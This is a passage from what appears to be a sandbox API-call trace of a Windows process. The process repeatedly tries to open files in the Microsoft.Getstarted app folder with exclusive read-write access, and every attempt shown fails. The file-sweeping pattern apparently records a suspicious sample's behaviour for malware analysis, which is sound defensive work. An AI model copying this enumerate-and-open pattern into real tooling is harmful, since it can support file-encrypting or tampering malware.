Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-32_altform-unplated_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-32_altform-unplated_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.835] Sleep (dwMilliseconds=0x1) [0273.851] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-32_altform-unplated.png", len=0x88 | out: pbstr=0x3bbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-32_altform-unplated.png") returned 1 [0273.851] GetProcessHeap () returned 0x630000 [0273.851] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d68) returned 0x6fe3bb0 [0273.851] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-32_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-32_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.852] Sleep (dwMilliseconds=0x1) [0273.881] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-32.png", len=0x77 | out: pbstr=0x3bbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-32.png") returned 1 [0273.881] GetProcessHeap () returned 0x630000 [0273.881] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d64) returned 0x6fe3bb0 [0273.881] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-32.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.884] Sleep (dwMilliseconds=0x1) [0273.898] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-30_altform-unplated_contrast-white.png", len=0x97 | out: pbstr=0x3bbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-30_altform-unplated_contrast-white.png") returned 1 [0273.898] GetProcessHeap () returned 0x630000 [0273.899] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d58) returned 0x6fe3bb0 [0273.899] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-30_altform-unplated_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-30_altform-unplated_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.900] Sleep (dwMilliseconds=0x1) [0273.912] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-30_altform-unplated_contrast-black.png", len=0x97 | out: pbstr=0x3bbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-30_altform-unplated_contrast-black.png") returned 1 [0273.912] GetProcessHeap () returned 0x630000 [0273.912] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d54) returned 0x6fe3bb0 [0273.912] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-30_altform-unplated_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-30_altform-unplated_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.913] Sleep (dwMilliseconds=0x1) [0273.929] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-256_contrast-white.png", len=0x87 | out: pbstr=0x3bbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-256_contrast-white.png") returned 1 [0273.929] GetProcessHeap () returned 0x630000 [0273.929] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d48) returned 0x6fe3bb0 [0273.929] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-256_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-256_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.931] Sleep (dwMilliseconds=0x1) [0273.942] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-256_contrast-black.png", len=0x87 | out: pbstr=0x3bbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-256_contrast-black.png") returned 1 [0273.942] GetProcessHeap () returned 0x630000 [0273.942] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d44) returned 0x6fe3bb0 [0273.943] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-256_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-256_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.945] Sleep (dwMilliseconds=0x1) [0273.958] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-256_altform-unplated_contrast-black.png", len=0x98 | out: pbstr=0x3bbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-256_altform-unplated_contrast-black.png") returned 1 [0273.958] GetProcessHeap () returned 0x630000 [0273.958] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d3c) returned 0x6fe3bb0 [0273.958] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-256_altform-unplated_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-256_altform-unplated_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.960] Sleep (dwMilliseconds=0x1) [0273.975] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-24_contrast-white.png", len=0x86 | out: pbstr=0x3bbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-24_contrast-white.png") returned 1 [0273.975] GetProcessHeap () returned 0x630000 [0273.975] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d30) returned 0x6fe3bb0 [0273.976] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-24_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-24_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.978] Sleep (dwMilliseconds=0x1) [0273.989] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-24_contrast-black.png", len=0x86 | out: pbstr=0x3bbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-24_contrast-black.png") returned 1 [0273.989] GetProcessHeap () returned 0x630000 [0273.989] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d2c) returned 0x6fe3bb0 [0273.989] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-24_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-24_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.993] Sleep (dwMilliseconds=0x1) [0274.005] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-24_altform-unplated_contrast-black.png", len=0x97 | out: pbstr=0x3bbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-24_altform-unplated_contrast-black.png") returned 1 [0274.005] GetProcessHeap () returned 0x630000 [0274.005] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d24) returned 0x6fe3bb0 [0274.005] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-24_altform-unplated_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-24_altform-unplated_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.007] Sleep (dwMilliseconds=0x1) [0274.023] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-20_contrast-white.png", len=0x86 | out: pbstr=0x3bbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-20_contrast-white.png") returned 1 [0274.023] GetProcessHeap () returned 0x630000 [0274.023] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d18) returned 0x6fe3bb0 [0274.023] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-20_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-20_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.024] Sleep (dwMilliseconds=0x1) [0274.036] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-20_contrast-black.png", len=0x86 | out: pbstr=0x3bbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-20_contrast-black.png") returned 1 [0274.036] GetProcessHeap () returned 0x630000 [0274.036] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d14) returned 0x6fe3bb0 [0274.036] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-20_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-20_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.040] Sleep (dwMilliseconds=0x1) [0274.198] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-20_altform-unplated_contrast-black.png", len=0x97 | out: pbstr=0x3bbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-20_altform-unplated_contrast-black.png") returned 1 [0274.198] GetProcessHeap () returned 0x630000 [0274.198] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d0c) returned 0x6fe3bb0 [0274.199] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-20_altform-unplated_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-20_altform-unplated_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.203] Sleep (dwMilliseconds=0x1) [0274.210] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-16_contrast-white.png", len=0x86 | out: pbstr=0x3bbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-16_contrast-white.png") returned 1 [0274.210] GetProcessHeap () returned 0x630000 [0274.210] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d00) returned 0x6fe3bb0 [0274.210] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-16_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-16_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.212] Sleep (dwMilliseconds=0x1) [0274.224] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-16_contrast-black.png", len=0x86 | out: pbstr=0x3bbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-16_contrast-black.png") returned 1 [0274.224] GetProcessHeap () returned 0x630000 [0274.224] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cfc) returned 0x6fe3bb0 [0274.224] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-16_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-16_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.226] Sleep (dwMilliseconds=0x1) [0274.241] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-16_altform-unplated.png", len=0x88 | out: pbstr=0x3bbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-16_altform-unplated.png") returned 1 [0274.242] GetProcessHeap () returned 0x630000 [0274.242] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cf0) returned 0x6fe3bb0 [0274.242] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-16_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-16_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.243] Sleep (dwMilliseconds=0x1) [0274.280] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-16.png", len=0x77 | out: pbstr=0x3bbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-16.png") returned 1 [0274.280] GetProcessHeap () returned 0x630000 [0274.280] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cec) returned 0x6fe3bb0 [0274.280] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.282] Sleep (dwMilliseconds=0x1) [0274.292] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.scale-100.png", len=0x73 | out: pbstr=0x3bbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.scale-100.png") returned 1 [0274.292] GetProcessHeap () returned 0x630000 [0274.292] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ce0) returned 0x6fe3bb0 [0274.292] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.294] Sleep (dwMilliseconds=0x1) [0274.303] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x", len=0x5e | out: pbstr=0x3bbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x") returned 1 [0274.303] GetProcessHeap () returned 0x630000 [0274.303] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cdc) returned 0x6fe3bb0 [0274.303] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.305] Sleep (dwMilliseconds=0x1) [0274.323] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml", len=0x5d | out: pbstr=0x3bbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned 1 [0274.323] GetProcessHeap () returned 0x630000 [0274.323] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cd0) returned 0x6fe3bb0 [0274.323] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.328] Sleep (dwMilliseconds=0x1) [0274.333] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", len=0x63 | out: pbstr=0x3bbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x") returned 1 [0274.333] GetProcessHeap () returned 0x630000 [0274.333] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ccc) returned 0x6fe3bb0 [0274.333] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.334] Sleep (dwMilliseconds=0x1) [0274.349] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", len=0x62 | out: pbstr=0x3bbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml") returned 1 [0274.349] GetProcessHeap () returned 0x630000 [0274.349] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cc4) returned 0x6fe3bb0 [0274.349] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.350] Sleep (dwMilliseconds=0x1) [0274.369] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedWideTile.scale-200_contrast-black.png", len=0x96 | out: pbstr=0x3bbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedWideTile.scale-200_contrast-black.png") returned 1 [0274.369] GetProcessHeap () returned 0x630000 [0274.369] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cb8) returned 0x6fe3bb0 [0274.369] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedWideTile.scale-200_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\getstartedwidetile.scale-200_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.371] Sleep (dwMilliseconds=0x1) [0274.380] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\GetStartedWideTile.scale-200.png", len=0x87 | out: 